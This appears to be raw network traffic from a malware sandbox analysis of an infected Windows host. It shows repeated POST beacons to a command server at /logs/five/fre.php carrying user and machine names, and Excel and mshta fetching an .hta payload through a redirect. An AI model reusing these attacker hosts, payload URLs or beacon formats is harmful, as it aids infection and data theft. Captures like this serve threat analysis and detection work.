Oct 25, 2024 19:48:35.881334066 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.22	49228	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:36.052603960 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:36.058064938 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:37.058933020 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.22	49229	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:37.209949017 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:37.216587067 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:38.186429024 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.22	49230	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:38.330260992 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:38.335923910 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:39.339977026 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.22	49231	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:39.489418983 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:39.495065928 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:40.463723898 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.22	49232	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:40.724618912 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:40.730504036 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:41.689733982 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.22	49233	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:41.847762108 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:41.853254080 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:42.837202072 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.22	49234	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:42.973639011 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:42.979309082 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:43.950455904 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.22	49235	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:44.449631929 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:44.455324888 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:45.399772882 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.22	49236	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:45.532546043 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:45.538197994 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:46.514714956 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.22	49237	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:46.658529043 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:46.666513920 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:47.891940117 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.22	49238	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 19:48:48.084608078 CEST	244	OUT	POST /logs/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F0B98DE8 Content-Length: 149 Connection: close
Oct 25, 2024 19:48:48.090331078 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 33 00 35 00 31 00 38 00 30 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus835180ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 25, 2024 19:48:49.052824974 CEST	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Fri, 25 Oct 2024 17:48:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	188.114.97.3	443	3560	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:46:28 UTC	453	OUT	GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: qrisni.me Connection: Keep-Alive
2024-10-25 17:46:29 UTC	1213	IN	HTTP/1.1 302 Found Date: Fri, 25 Oct 2024 17:46:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 100 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta vary: Accept, Accept-Encoding x-do-app-origin: edb1517e-eb68-4bff-8694-91662c34bef1 Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uclf8NnzvkWusK3hZKmimYv9pA9MV2gmAlGFsFbbxLjfAJqi2sYGfjHAjoREigsnlMonYT%2BsVxbPcSDUWM4NqTutrarwqU%2Fl2BpsoYjgJ7va0GiP%2FuAonV5Eqns%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8406babf006c53-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 17:46:29 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 33 33 32 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 37 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 33 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 30 37 31 35 33 30 26 63 77 6e 64 3d 32 34 34 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 32 61 35 35 39 32 35 39 66 66 63 64 63 31 66 64 26 74 73 3d 39 33 30 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1332&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=1035&delivery_rate=2071530&cwnd=244&unsent_bytes=0&cid=2a559259ffcdc1fd&ts=930&x=0"
2024-10-25 17:46:29 UTC	100	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 34 32 2f 75 67 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 65 76 65 72 6d 65 65 74 77 69 74 68 67 72 65 61 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	188.114.96.3	443	3832	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:46:31 UTC	477	OUT	GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: qrisni.me Connection: Keep-Alive
2024-10-25 17:46:32 UTC	1217	IN	HTTP/1.1 302 Found Date: Fri, 25 Oct 2024 17:46:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 100 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta vary: Accept, Accept-Encoding x-do-app-origin: edb1517e-eb68-4bff-8694-91662c34bef1 Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BYvqOw7eb8AOrfwRZ4LOdoAbAhyG9yYfvh%2F70hBX43wAoLb%2FQ5WRwRy%2Fllw0uB0L2QEw1Z%2F%2BTycX3Y1RMuahFuCwiEUxojfoDBZ4MXdkrmlyKG3FSrFlpe06kvE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8406cd5bf76bec-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 17:46:32 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 30 35 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 37 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 35 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 35 35 31 35 34 31 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 33 30 34 37 31 35 31 39 31 37 63 32 34 31 34 26 74 73 3d 36 33 33 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1105&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=1059&delivery_rate=2551541&cwnd=251&unsent_bytes=0&cid=43047151917c2414&ts=633&x=0"
2024-10-25 17:46:32 UTC	100	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 34 32 2f 75 67 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 65 76 65 72 6d 65 65 74 77 69 74 68 67 72 65 61 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	188.114.97.3	443	3560	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:46:50 UTC	453	OUT	GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: qrisni.me Connection: Keep-Alive
2024-10-25 17:46:50 UTC	1219	IN	HTTP/1.1 302 Found Date: Fri, 25 Oct 2024 17:46:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 100 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta vary: Accept, Accept-Encoding x-do-app-origin: edb1517e-eb68-4bff-8694-91662c34bef1 Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P9c4sGPcOqKLp2f4ZZqODGAnjRtnY%2FStI%2Bt80niOV1bXeqSagM7cKyapN6Hp4VI%2F8yTLggWjwXj8%2FbQurnc%2F%2BtGi8ItWLok36yYN04oK3qlLiwFuRn0fnDoJIRc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d84073f585a8d29-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 17:46:50 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 35 31 31 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 33 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 39 37 31 34 30 39 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 64 35 61 63 32 30 39 66 38 36 63 64 34 66 61 26 74 73 3d 34 30 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1511&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=1035&delivery_rate=1971409&cwnd=251&unsent_bytes=0&cid=ad5ac209f86cd4fa&ts=408&x=0"
2024-10-25 17:46:50 UTC	100	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 34 32 2f 75 67 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 65 76 65 72 6d 65 65 74 77 69 74 68 67 72 65 61 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49169	188.114.96.3	443	3336	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:46:51 UTC	477	OUT	GET /8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: qrisni.me Connection: Keep-Alive
2024-10-25 17:46:52 UTC	1217	IN	HTTP/1.1 302 Found Date: Fri, 25 Oct 2024 17:46:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 100 Connection: close cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff origin-agent-cluster: ?1 x-permitted-cross-domain-policies: none referrer-policy: no-referrer x-xss-protection: 0 location: http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta vary: Accept, Accept-Encoding x-do-app-origin: edb1517e-eb68-4bff-8694-91662c34bef1 Cache-Control: private x-do-orig-status: 302 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BjEWX8G85ed8VwdvAjFYtlfoSLmhSeKVkmHMmIFFYNVjOCETzkaatkRBoc9UF8c%2F2kvJxmBH%2FItX%2BlSL9Xn3HGKq9xo13LPfOwjaSQD8oeEpAXQFZjIPi%2B91PgM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d84074a1b50839f-DFW alt-svc: h3=":443"; ma=86400
